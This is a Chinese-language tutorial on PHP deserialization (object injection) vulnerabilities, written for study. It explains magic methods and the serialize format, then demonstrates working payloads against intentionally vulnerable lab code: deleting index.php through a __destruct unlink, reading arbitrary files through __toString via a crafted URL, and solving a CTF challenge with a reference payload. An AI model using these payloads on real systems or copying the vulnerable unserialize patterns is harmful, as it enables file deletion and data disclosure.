0x01 php面向对象简介
对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类:一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头,后面跟着类的名字。
一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。
类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。
类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。
这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁时调用(destructor);_toString当一个对象被当作一个字符串时使用。
0x02 php对象概念及特性
我们先创建一个简单的php对象:
<?php class TestClass { //一个变量 public $variable = 'This is a string'; //一个简单的方法 public function PrintVariable() { echo $this->variable; } } //创建一个对象 $object = new TestClass(); //调用一个方法 $object->PrintVariable(); ?> //test.php
运行结果如下:
接下来开始尝试使用magic函数,在类中添加几个magic函数:
<?php class TestClass { //一个变量 public $variable = 'This is a string'; //一个简单的方法 public function PrintVariable() { echo $this->variable.'<br />'; } //Constructor public function __construct() { echo '__construct<br />'; } //Destructor public function __destruct() { echo '__destruct<br />'; } //call public function __toString() { return '__toString<br />'; } } //创建一个对象 //__construct会被调用 $object = new TestClass(); //创建一个方法 //‘This is a string’将会被输出 $object->PrintVariable(); //对象被当作一个字符串 //toString会被调用 echo $object; //php脚本要结束时,__destruct会被调用 ?> //test1.php
再来看一下这次:
从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。
0x03 php序列化以及序列化格式
在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?
serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。
通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。
我们通过例子来看php对象序列化之后的格式,代码如下:
<?php //一个类 class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //创建一个对象 $usr = new User(); //设置数据 $usr->age = 18; $usr->name = 'vergilben'; //输出数据 $usr->printdata(); //输出序列化后的数据 echo serialize($usr) ?> //test2.php
结果如下:
下面的O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:9:“vergilben”;}就是对象user序列化后的形式
“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value
后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:
<?php //一个类 class User { //类的数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建对象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}'); //输出数据 $usr->printdata(); ?> //test3.php
运行:
可以看到,上次序列化的结果被转变成正常的语句了。
0x04 php对象注入的成因
我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。
__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。
下面解释一下:
<?php class test { public $variable = 'BUZZ'; public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); } } //创建一个对象,回调用__construct $object = new test(); //序列化一个对象,会调用__sleep $serialized = serialize($object); //输出序列化后的字符串 print 'Serialized:'.$serialized.'<br />'; //重建对象,会调用__wakeup $object2 = unserialize($serialized); //调用printvariable,会输出数据(BUZZ) $object2->printvariable(); //脚本结束,会调用__destruct ?> //test4.php
运行:
可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:
<?php class logfile { //log文件名 public $filename = 'error.log'; //一些用于储存日志的代码 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 删除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); } } ?> //test5.php
调用这个类:
<?php include 'test5.php' class User { //类数据 public $age = 0; public $name = ''; //输出数据 public function printdata() { echo 'User '.$this->name.' is'.$this->age.' years old.<br />'; } } //重建数据 $usr = unserialize($_GET['usr_serialized']); ?>
从代码中可以看到:usr=unserialize( usr = unserialize(usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件
构造输入删除目录下的index.php文件:
<?php include 'test5.php'; $object = new logfile(); $object->filename = 'index.php'; echo serialize($object).'<br />'; ?> //test7.php
接下来先进入index.php:
接下来尝试使用test7.php删除了index.php,进入test7.php:
现在在目录里已经没有了index.php:
我们再次访问一下test7.php试一试: index.php已经没有了。
0x05 常见的注入点
上一部分展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都取决于程序逻辑。
5.1 读取文件
比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。
现在开始这个小实验,代码如下:
<?php include 'test9.php'; $fileobj = new fileclass(); $fileobj->filename = 'hello.txt'; echo serialize($fileobj); ?> //test8.php
我们先访问test8.php,结果如下:
接下来构造一个触发页面:
<?php class fileclass { //文件名 public $filename = 'error.log'; //当对象被作为一个字符串会读取这个文件 public function __toString() { return file_get_contents($this->filename); } } class user { //class data public $age = 0; public $name = ''; //允许对象作为一个字符串输出上面的data public function __toString() { return 'user '.$this->name.' is '.$this->age.' years old.<br />'; } } //用户可控 $obj = unserialize($_GET['usr_serialized']); //输出__toString echo $obj ?> //test9.php
同时构造恶意url:
http://localhost/test9.php?usr_serialized=O:9:"fileclass":1:{s:8:"filename";s:9:"hello.txt";}
访问:
我们看一下hello.txt的内容:
unserialize漏洞依赖几个条件:
unserialize函数的参数可控 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类 所写的内容需要有对象中的成员变量的值
防范的方法:
严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则 对于unserialize后的变量内容进行检查,以确定内容没有被污染
5.2 来自两个变量的引用
PHP 的引用允许你用两个变量来指向同一个内容:
比如如下代码:
<?php class SeBaFi { var $name; var $password; } if (isset($_GET['login'])) { $login = $_GET['login']; if(get_magic_quotes_gpc()) { $login=stripslashes($login); } $o=unserialize($login); if($o) { $o->name='*'; if($o->name === $o->password) { echo "SeBaFi{".$o->name."}"; } else { echo "wrong"; } } else { echo "what are you doing"; } } ?>
理解如下:
o变量将得到的pass值进行反序列化,得到相应的对象值。
o->name === o->password 即可得到flag。
由于很难构造相等,那么查看资料知:
在PHP 中普通的传值赋值行为有个例外就是碰到对象 object时,在 PHP 5 中是以引用赋值:
$var = &$othervar;
引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。满足了条件。
payload:
构造php:
<?php class SeBaFi { var $name; var $password; } $o = new SeBaFi(); $o->name=&$o->password; echo serialize($o); ?>
得到反序列化的字符串:
login=O:6:"SeBaFi":2:{s:4:"name";N;s:8:"password";R:2;}
通过url传参,成功得到flag:
0x06 参考链接
https://blog.csdn.net/qingchenldl/article/details/79521300
https://blog.csdn.net/weixin_42751456/article/details/88758908